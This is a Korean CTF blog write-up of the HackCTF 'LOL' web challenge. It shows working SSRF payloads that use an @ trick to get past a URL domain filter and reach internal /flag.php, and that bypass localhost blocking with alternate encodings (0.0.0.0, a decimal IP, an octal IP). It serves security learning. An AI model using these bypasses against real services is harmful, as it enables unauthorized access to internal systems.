[HackCTF] LOL

Solve Problem/HackCTF 2019. 11. 20. 15:08
반응형

문제에 접근하면 /flag.php에 접근하는데 "you are not local"이라고 뜬다.


로컬로 접근하면 되는 것인가 하여 X-Forwarded-For로 접근을 해보았지만 가능하지 않았다.



밑에 링크를 클릭하면 다음과 같이 Search user 페이지가 뜨며, 여기서 user에 문자열 입력 후 [제출]을 클릭하면 op.gg 페이지에서 해당 문자열에 대해 유저를 검색한다.


해당 요청을 잘 보면 POST 방식으로 다음과 같이 요청을 보낸다.

query=rootable&url=http%3A%2F%2Fwww.op.gg%2Fsummoner%2FuserName%3D


여기서 url 부분에 op.gg가 있는 것을 보아 다른 페이지에도 접근이 가능한지 google.com을 이용해보았다.

하지만, 이에 필터링에 의해 응답으로 "Nonononononono~"가 출력되었고 이는 간단히 @를 이용하여 우회할 수 있었다.


아래와 같이 요청을 보내 google.com에 접근이 가능함을 확인하였다.

query=/&url=http://www.op.gg@google.com


이제 로컬의 flag.php에 접근하기 위해 로컬 IP로 변조하여 아래와 같이 요청하였다.


query=/flag.php&url=http://www.op.gg@127.0.0.1


하지만 이에 대한 응답으로 Nop이라고 왔고, 127.0.0.1, localhost에 대해 필터링이 되어있음을 알 수 있었다.

이를 우회하기 위해 나는 0.0.0.0을 이용하였다.


flag.php에 접근하기 위한 요청은 다음과 같다.

query=/flag.php&url=http://www.op.gg@0.0.0.0



추가적으로 다음과 같은 쿼리로도 FLAG 획득이 가능하다.


query=/flag.php&url=http://www.op.gg@0

query=/flag.php&url=http://www.op.gg@2130706433 (2130706433은 127.0.0.1을 IP Decimal 형태로 변환한 것)

query=/flag.php&url=http://www.op.gg@0177.0.0.1 ( 0177은 8진법으로 나타낸 127 )


참고 ) 

https://www.ipaddressguide.com/ip

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#bypass-localhost-with-

https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html





반응형

'Solve Problem > HackCTF' 카테고리의 다른 글

[HackCTF] Secret Document  (0) 2018.12.31
[HackCTF] No Password  (0) 2018.12.30
[HackCTF] 가위바위보  (0) 2018.12.28
[HackCTF] Secure Login  (0) 2018.12.02
블로그 이미지

rootable

,